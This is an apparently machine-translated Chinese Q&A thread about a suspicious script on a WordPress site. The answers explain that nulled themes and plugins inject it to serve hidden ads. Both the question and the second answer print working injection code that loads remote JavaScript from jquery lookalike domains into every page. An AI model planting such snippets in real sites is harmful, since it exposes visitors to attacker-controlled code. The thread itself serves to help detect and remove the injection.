从wordpress站点删除脚本

Question

我使用恶意软件字节，每次我访问我的wordpress网站，它阻止一个脚本试图在页面上运行，脚本是：

<script type="text/javascript">
    if (!document.referrer || document.referrer == '') {
        document.write('<scr' + 'ipt type="text/javascript" src="http://www.jquerylibs.org/jquery.min.js"></scr' + 'ipt>');
    } else {
        document.write('<scr' + 'ipt type="text/javascript" src="http://www.jquerylibs.org/jquery.js"></scr' + 'ipt>');
    }
</script>

我不确定它是否是恶意的，但我想删除它，但是我不知道是哪个插件或文件导致了它，我试图查看页面源等。

剧本的意思是什么？有没有办法找出是什么原因造成的？

任何帮助都将不胜感激。

Answer 1

您可以在wordpress目录中使用此问题中提出的应用程序之一搜索此脚本：无需索引即可搜索文件内字符串的工具。

Answer 2

您使用的是wordpress插件或主题，可能是从“空”主题和插件库下载的。

几乎所有这样的网站都采用了一种商业模式，通过这种模式，他们提供的主题和插件通常免费5美元至75美元。

但俗话说，天下没有免费的午餐。作为免费插件/主题的交换，网站所有者添加了代码，其中包括一个来自外部域的js文件，该文件向您的网站添加了横幅。

为了防止网站管理员或开发人员立即注意到这些横幅（或只是一个或三个反向链接），任何以管理员身份登录的人或/或任何没有推荐人url的人都不会显示广告。

在你的例子中，有效载荷是从一个类似于真实事物的域中包含的，从而愚弄了足够多没有经验的Wordpress网站管理员，使其成为属于jQuery的东西。jQuery官方CDN位于这里//code.jQuery.com/

确保检查所有来自阴暗处的主题或插件是否有类似的代码，这些代码也可能在图像文件中，尽管通常在init.php或functions.php中。下面是另一个使用jquery域的不同变体的类似代码示例。

if(!function_exists('wp_func_jquery')) {
        function wp_func_jquery() {
            $host = 'http://';
            $jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
            if (@fopen($jquery,'r')){
                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
            }
        }
        add_action('wp_footer', 'wp_func_jquery');
    }